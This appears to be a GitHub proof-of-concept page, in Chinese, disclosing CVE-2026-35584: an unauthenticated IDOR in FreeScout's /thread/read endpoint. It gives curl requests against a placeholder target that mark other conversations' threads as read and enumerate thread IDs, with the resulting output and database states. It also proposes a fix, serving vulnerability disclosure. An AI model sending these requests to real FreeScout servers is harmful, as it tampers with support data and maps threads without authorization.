LeonardoNovais7/CVE-2026-35584
GitHub: LeonardoNovais7/CVE-2026-35584
该项目提供 CVE-2026-35584 的 POC,演示如何绕过身份验证并枚举 FreeScout 中的线程 ID 以验证 IDOR 漏洞。
Stars: 0 | Forks: 0
# CVE-2026-35584
POC - CVE-2026-35584
FreeScout
# 描述
## 概述
端点 GET /thread/read/{conversation_id}/{thread_id} 不需要身份验证,也不会验证给定的 thread_id 是否属于指定的 conversation_id。这允许任何未经身份验证的攻击者:
通过传递任意 ID 将任意线程标记为已读
通过 HTTP 响应状态码(200 与 404)枚举有效的线程 ID
跨对话操纵 opened_at 时间戳(IDOR)
```
Affected Version
1.8.211 (latest)
```
## 复现步骤
创建两个对话(conv_id=1 和 conv_id=2)
在对话 2 中创建一个线程(thread_id=3)
无需任何身份验证,发送:GET /thread/read/1/3
在数据库中验证 — thread_id=3 的 opened_at 已被设置,尽管是通过错误的 conversation_id 访问的
## 漏洞利用示例
```
curl -v "http://TARGET/thread/read/1/3"
```
返回 HTTP 200 并在 thread 3 上设置 opened_at
## 影响
无需身份验证
IDOR:thread_id 未针对 conversation_id 进行验证
线程枚举:HTTP 200 = 有效线程,404 = 无效线程
用于支持代理的已读/未读指标被操纵
破坏对话隔离模型
## 建议修复
```
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
```
## 漏洞利用输出
线程枚举(无需身份验证)
```
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread)
```
```
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread)
```
```
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2)
```
```
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread)
```
## 漏洞利用后的数据库状态
之前:
| id | conversation_id | opened_at |
| 3 | 2 | NULL |
执行 GET /thread/read/1/3(无需身份验证)后:
| id | conversation_id | opened_at |
| 3 | 2 | 2026-04-03 23:19:46 |
标签:200 vs 404, API 漏洞, CISA项目, CVE-2026-35584, FreeScout, HTTP 状态码, IDOR, POC, 参数篡改, 安全漏洞, 客服系统, 对话管理, 接口安全, 数据库操作, 未授权访问, 权限绕过, 枚举漏洞, 漏洞, 端点测试, 线程管理, 认证绕过, 读取操作, 邮件系统